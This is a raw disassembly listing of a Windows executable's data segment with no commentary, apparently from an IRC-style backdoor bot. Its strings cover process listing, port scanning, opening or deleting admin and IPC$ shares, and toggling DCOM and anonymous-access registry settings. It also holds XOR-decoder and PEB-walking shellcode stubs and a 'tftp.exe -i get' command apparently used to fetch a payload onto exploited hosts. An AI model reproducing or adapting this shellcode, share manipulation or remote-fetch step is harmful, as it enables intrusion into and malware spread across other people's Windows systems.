dword_437618	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413DFD:loc_413E8Ao
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListFai	db '  Process list failed.',0
		align 10h
dword_437650	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413DFD+86o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListCom	db '  Process list completed.',0
		align 4
dword_43768C	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413DFD+19o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aListingProcess	db '  Listing processes:',0
		align 8
dword_4376C8	dd 736E6F63h		; DATA XREF: sub_414278+Fr
		dd 74h,	0
dword_4376D4	dd 1			; DATA XREF: sub_414278:loc_41429Fr
off_4376D8	dd offset sub_413F42	; DATA XREF: sub_414278+4Ar
aLetter		db 'letter',0
		align 8
		dd 2, 413FA0h, 706D6F63h, 2 dup(0)
		dd 3, 413FEDh, 6E756F63h, 797274h, 0
		dd 4, 41405Ch, 736Fh, 2	dup(0)
		dd 5, 4140D1h
dword_43772C	dd 69257325h, 0		; DATA XREF: sub_413F42+40o
					; seg001:0041403Do ...
dword_437734	dd 4350h		; DATA XREF: seg001:0041400Ao
dword_437738	dd 7C7325h		; DATA XREF: seg001:0041408Bo
dword_43773C	dd 5D73255Bh, 7Ch	; DATA XREF: seg001:00414195o
dword_437744	dd 334B32h		; DATA XREF: seg001:00414185o
dword_437748	dd 5D64255Bh, 7325h	; DATA XREF: sub_4141DB+3Ao
dword_437750	dd 5D4D5Bh		; DATA XREF: sub_4141DB+2Co
					; sub_4141DB+51o
unk_437754	db    2			; DATA XREF: sub_4142E2+92o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
unk_437790	db    2			; DATA XREF: sub_4143AF+41o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 10h
off_4377D0	dd offset dword_437808	; DATA XREF: sub_414500:loc_4146B5r
					; sub_414500+1C3r ...
dword_4377D4	dd 0			; DATA XREF: sub_414826:loc_4149A7r
		dd offset dword_437800
		align 10h
		dd offset dword_4377FC
		dd offset dword_4377F8
		dd offset dword_4377F4
		dd offset dword_4377F0
dword_4377F0	dd 5C3A44h		; DATA XREF: seg001:004377ECo
dword_4377F4	dd 2444h		; DATA XREF: seg001:004377E8o
dword_4377F8	dd 5C3A43h		; DATA XREF: seg001:004377E4o
dword_4377FC	dd 2443h		; DATA XREF: seg001:004377E0o
dword_437800	dd 494D4441h, 244Eh	; DATA XREF: seg001:004377D8o
dword_437808	dd 24435049h, 0		; DATA XREF: seg001:off_4377D0o
unk_437810	db    2			; DATA XREF: sub_414500+2E7o
					; sub_414826+2DDo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_437854	db    2			; DATA XREF: sub_414500+2D1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 10h
unk_437890	db    2			; DATA XREF: sub_414500:loc_41476Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 10h
unk_4378D0	db    2			; DATA XREF: sub_414500+263o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 4
unk_437908	db    2			; DATA XREF: sub_414500:loc_4146DAo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 4
unk_437948	db    2			; DATA XREF: sub_414500+1D3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 10h
unk_437980	db    2			; DATA XREF: sub_414500:loc_414632o
					; sub_414826:loc_414954o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 8
unk_4379C8	db    2			; DATA XREF: sub_414500:loc_41462Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_437A18	db    2			; DATA XREF: sub_414500:loc_414613o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 10h
unk_437A60	db    2			; DATA XREF: sub_414500+10Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 10h
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_414500+EDo
					; sub_414826+EDo
		align 8
unk_437AC8	db    2			; DATA XREF: sub_414500+91o
					; sub_414826+91o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_437B0C	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_414500:loc_414573o
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6964204Dh
		dd 6C626173h, 2E6465h
unk_437B3C	db    2			; DATA XREF: sub_414500+6Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_414500+54o
					; sub_414826+54o
		align 10h
word_437B80	dw 4Eh			; DATA XREF: sub_414500+38r
		align 4
unk_437B84	db    2			; DATA XREF: sub_414826+2C5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_2		db '%c:\',0             ; DATA XREF: sub_414826+22Fo
		align 4
aC_3		db '%c$',0              ; DATA XREF: sub_414826+21Eo
unk_437BC8	db    2			; DATA XREF: sub_414826:loc_4149D3o
					; sub_414826:loc_414A9Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 4
unk_437C04	db    2			; DATA XREF: sub_414826+1A6o
					; sub_414826+271o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 4
unk_437C38	db    2			; DATA XREF: sub_414826:loc_41494Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 4
unk_437C88	db    2			; DATA XREF: sub_414826:loc_414935o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_437CD0	db    2			; DATA XREF: sub_414826+108o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_437D20	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_414826:loc_414899o
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6E65204Dh
		dd 656C6261h, 2E64h
unk_437D50	db    2			; DATA XREF: sub_414826+6Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 4
word_437D88	dw 59h			; DATA XREF: sub_414826+38r
		align 10h


loc_437D90:				; DATA XREF: sub_414CD9+BEo
		jmp	short loc_437D94
; ---------------------------------------------------------------------------


loc_437D92:				; CODE XREF: seg001:loc_437D94p
		jmp	short loc_437D99
; ---------------------------------------------------------------------------


loc_437D94:				; CODE XREF: seg001:loc_437D90j
		call	loc_437D92


loc_437D99:				; CODE XREF: seg001:loc_437D92j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_437D9E	dw 0FFFFh		; DATA XREF: sub_414CD9+C6w
		db 80h,	73h, 0Eh
byte_437DA3	db 0FFh			; DATA XREF: sub_414CD9+CDw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_437DA8:				; DATA XREF: sub_414CD9+9Co
		jmp	short loc_437DAC
; ---------------------------------------------------------------------------


loc_437DAA:				; CODE XREF: seg001:loc_437DACp
		jmp	short loc_437DB1
; ---------------------------------------------------------------------------


loc_437DAC:				; CODE XREF: seg001:loc_437DA8j
		call	loc_437DAA


loc_437DB1:				; CODE XREF: seg001:loc_437DAAj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_437DB5	db 0FFh			; DATA XREF: sub_414CD9+A4w
		dw 7380h
		db 0Ch
byte_437DB9	db 0FFh			; DATA XREF: sub_414CD9+AAw
		dw 0E243h
		dd 0F9h
dword_437DC0	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_414B62+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_437E24	dd 12h			; DATA XREF: sub_414B62+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_414B62+79o
aJ_0		db 'j',0
		db 0E8h
dword_437E3D	dd 17h			; DATA XREF: sub_414B62+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_437E44
		retn
; ---------------------------------------------------------------------------
byte_437E44	db 0E8h			; CODE XREF: seg001:00437E41j
dword_437E45	dd 1			; DATA XREF: sub_414B62+45w
byte_437E49	db 0, 6Ah, 0		; DATA XREF: sub_414B62+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_437E53	dd 0FFFFFFEDh		; DATA XREF: sub_414B62+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
aThreadList	db '-[Thread List]-',0  ; DATA XREF: sub_414E97+10o
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_415062+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_415062+35o
dword_437ED4	dd 29E2C0h		; DATA XREF: sub_415368+4w sub_415372r ...
		align 10h
dword_437EE0	dd 173Fh		; DATA XREF: sub_415D04+Dr
		dd 9875h, 9873h
off_437EEC	dd offset sub_415DD3	; DATA XREF: sub_41781Ar
		dd offset nullsub_2
		dd offset nullsub_2
dword_437EF8	dd 1B3Fh		; DATA XREF: sub_415E4B+Dr
dword_437EFC	dd 19930520h, 4	dup(0)	; DATA XREF: sub_4162CD+2o
					; sub_4162D6+2o
off_437F10	dd offset sub_417858	; DATA XREF: sub_417C0E+1Cr
dword_437F14	dd 2			; DATA XREF: sub_41D77C+Er
					; sub_41D7B5+46r ...
off_437F18	dd offset aNull_0	; DATA XREF: sub_417D6C:loc_4180D0r
					; sub_417D6C+457r
					; "(null)"
off_437F1C	dd offset aNull		; DATA XREF: sub_417D6C+259r
					; "(null)"
off_437F20	dd offset word_437F2A	; DATA XREF: sub_4157F4+23r
					; sub_4157F4:loc_415855r ...
		dd offset word_437F2A
		db 2 dup(0)
word_437F2A	dw 20h			; DATA XREF: sub_41EF5D+18r
					; seg001:off_437F20o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43812C	dd 1			; DATA XREF: sub_4157F4:loc_4157FCr
					; sub_4157F4:loc_415840r ...
byte_438130	db 2Eh			; DATA XREF: sub_41A7A3:loc_41A7E3r
					; sub_41A7FD+4r ...
		align 4
		dd 1, 10h, 0
off_438140	dd offset off_438140	; DATA XREF: sub_4197BC+Do
					; sub_4197BC+69o ...
off_438144	dd offset off_438140	; DATA XREF: sub_4197BC:loc_41983Cr
					; sub_4197BC+89w ...
		dd offset dword_438158
		dd offset dword_438158
dword_438150	dd 0FFFFFFFFh		; DATA XREF: sub_4197BCr
					; sub_419900:loc_41994Dw
		dd 0FFFFFFFFh
dword_438158	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	seg001:00438148o
					; seg001:0043814Co
off_43A160	dd offset off_438140	; DATA XREF: sub_419900+15r
					; sub_419900+20w ...
dword_43A164	dd 1E0h			; DATA XREF: sub_415C27:loc_415C63r
					; sub_41737F+185r ...
dword_43A168	dd 14h			; DATA XREF: sub_41A4EC+2o
off_43A16C	dd offset aExp		; DATA XREF: sub_41A4EC:loc_41A509r
					; "exp"
		dd 1Dh,	4217D4h, 1Ah, 4217D0h, 1Bh, 4217C8h, 1Fh, 4217C0h
		dd 13h,	4217B8h, 21h, 4217B0h, 0Eh, 4217A8h, 0Dh, 4217A0h
		dd 0Fh,	421798h, 10h, 421790h, 5, 421788h, 1Eh,	421784h
		dd 12h,	421780h, 20h, 42177Ch, 0Ch, 421774h, 0Bh, 42176Ch
		dd 15h,	421764h, 1Ch, 42175Ch, 19h, 421754h, 11h, 42174Ch
		dd 18h,	421744h, 16h, 42173Ch, 17h, 421734h, 22h, 421730h
		dd 23h,	42172Ch, 24h, 421728h
dbl_43A240	dq 1.797693134862316e308 ; DATA	XREF: sub_41A227+B7r
					; sub_41A227:loc_41A30Er ...
		dd 0
		dd 0FFF80000h
dbl_43A250	dq 1.797693134862316e308 ; DATA	XREF: sub_41A227+92r
					; sub_41A227:loc_41A2E6r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43A268	dt 2.3562723457267347066e313 ; DATA XREF: sub_41A6D4+Dr
					; sub_41A6D4+1Fr
		align 4
tbyte_43A274	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41A6D4+31r
		align 10h
off_43A280	dd offset sub_41AB68	; DATA XREF: sub_415DEB+Fw
					; sub_417D6C+3AAr
off_43A284	dd offset sub_41A7FD	; DATA XREF: sub_415DEB+5w
					; sub_417D6C+3E2r
off_43A288	dd offset sub_41A863	; DATA XREF: sub_415DEB+14w
					; sub_41B605+430r
off_43A28C	dd offset sub_41A7A3	; DATA XREF: sub_415DEB+1Ew
					; sub_417D6C+3CBr
off_43A290	dd offset sub_41A84B	; DATA XREF: sub_415DEB+28w
off_43A294	dd offset sub_41AB68	; DATA XREF: sub_415DEB+32w
		dd offset sub_41E79E
		align 10h
		dd offset sub_41B42C
off_43A2A4	dd offset sub_41B42C	; DATA XREF: sub_41B482+29r
dword_43A2A8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_41B605:loc_41BB6Co
dword_43A2B0	dd 5Dh,	0		; DATA XREF: sub_41B605:loc_41BA5Co
byte_43A2B8	db 1			; DATA XREF: sub_41C85D+E1r
		db 2, 4, 8
		align 10h
dword_43A2C0	dd 3A4h			; DATA XREF: sub_41C85D+2Fo
dword_43A2C4	dd 82798260h, 21h, 0	; DATA XREF: sub_41C85D+11Dr
dword_43A2D0	dd 0DFA6h		; DATA XREF: sub_41C85D+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43A3B0	dd 1			; DATA XREF: sub_41C85D+3Co
					; sub_41CE74+Co
dword_43A3B4	dd 16h			; DATA XREF: sub_41CE74:loc_41CEA9r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43A518	dd 0C0000005h		; DATA XREF: sub_41CE74+19o
					; sub_41D01C+Ar ...
dword_43A51C	dd 0Bh			; DATA XREF: sub_41FC98+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43A590	dd 3			; DATA XREF: sub_41CEDB+58r
					; sub_41FB6B+C8r
dword_43A594	dd 7			; DATA XREF: sub_41CEDB+5Er
					; sub_41FB6B+CDr
dword_43A598	dd 0Ah			; DATA XREF: sub_41D01C+4r
					; sub_41FC98+4r
dword_43A59C	dd 8Ch			; DATA XREF: sub_41CEDB+82r
					; sub_41CEDB+8Fw ...
dword_43A5A0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_417C57:loc_417D14o
					; sub_41C178:loc_41C1F9o
dword_43A5A8	dd 2			; DATA XREF: sub_41D7B5+Eo
					; sub_41D7B5+28r
off_43A5AC	dd offset aR6002FloatingP ; DATA XREF: sub_41D7B5+FCr
					; sub_41D7B5+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 421AF4h, 9, 421AC8h, 0Ah,	421AA4h, 10h, 421A78h
		dd 11h,	421A48h, 12h, 421A24h, 13h, 4219F8h, 18h, 4219C0h
		dd 19h,	421998h, 1Ah, 421960h, 1Bh, 421928h, 1Ch, 421900h
		dd 78h,	4218F0h, 79h, 4218E0h, 7Ah, 4218D0h, 0FCh, 426A30h
		dd 0FFh, 4218C0h
off_43A638	dd offset dword_46B940	; DATA XREF: sub_41D7B5+1Bo
					; sub_41D972+55o
		align 10h
		dd offset dword_46B940
		dd 101h
dword_43A648	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D972+72o
		dd 1000h, 0
dword_43A658	dd 3 dup(0)		; DATA XREF: sub_417C57+50o
					; sub_4187D6+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43A678	dd 3 dup(0)		; DATA XREF: sub_417C57+58o
					; sub_4187D6:loc_4187F4o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43A6A8	dd 84h dup(0)		; DATA XREF: sub_41D972+9Bo
dword_43A8B8	dd 2694h		; DATA XREF: sub_419E89+3r
					; sub_419EDC+46r ...
		align 10h
dword_43A8C0	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_41E57Eo
dword_43A8D8	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_41E594o
dword_43A8F0	dd 7080h		; DATA XREF: sub_41C0B6+76r
					; sub_41EA02+5Ew ...
dword_43A8F4	dd 1			; DATA XREF: sub_41C0B6+98r
					; sub_41EA02+8Bw ...
dword_43A8F8	dd 0FFFFF1F0h		; DATA XREF: sub_41C0B6:loc_41C168r
					; sub_41EA02+94w ...
dword_43A8FC	dd 545350h, 0Fh	dup(0)	; DATA XREF: seg001:off_43A97Co
dword_43A93C	dd 544450h, 0Fh	dup(0)	; DATA XREF: seg001:off_43A980o
off_43A97C	dd offset dword_43A8FC	; DATA XREF: sub_41EA02+BAr
					; sub_41EA02+D9r ...
off_43A980	dd offset dword_43A93C	; DATA XREF: sub_41EA02+F4r
					; sub_41EA02+11Br ...
		align 8
dword_43A988	dd 0FFFFFFFFh		; DATA XREF: sub_41EA02+1Dw
					; sub_41EC60+1Er ...
dword_43A98C	dd 0			; DATA XREF: sub_41EC60:loc_41ED94r
					; sub_41EE0C+BFw
dword_43A990	dd 0			; DATA XREF: sub_41EC60+192r
					; sub_41EE0C+E0w
		align 8
dword_43A998	dd 0FFFFFFFFh		; DATA XREF: sub_41EA02+17w
					; sub_41EC60+26r ...
dword_43A99C	dd 0			; DATA XREF: sub_41EC60+13Ar
					; sub_41EE0C+EAw ...
dword_43A9A0	dd 0			; DATA XREF: sub_41EC60+1A1r
					; sub_41EE0C+23r ...
dword_43A9A4	dd 0FFFFFFFFh		; DATA XREF: sub_41EE0C+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43A9D4	dd 16Dh			; DATA XREF: sub_41C0B6+2Ar
					; sub_41EE0C+2Er ...
dword_43A9D8	dd 0FFFFFFFFh		; DATA XREF: sub_41EE0C:loc_41EE98r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43AA10	dd 2 dup(0)		; DATA XREF: sub_41FFF0+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
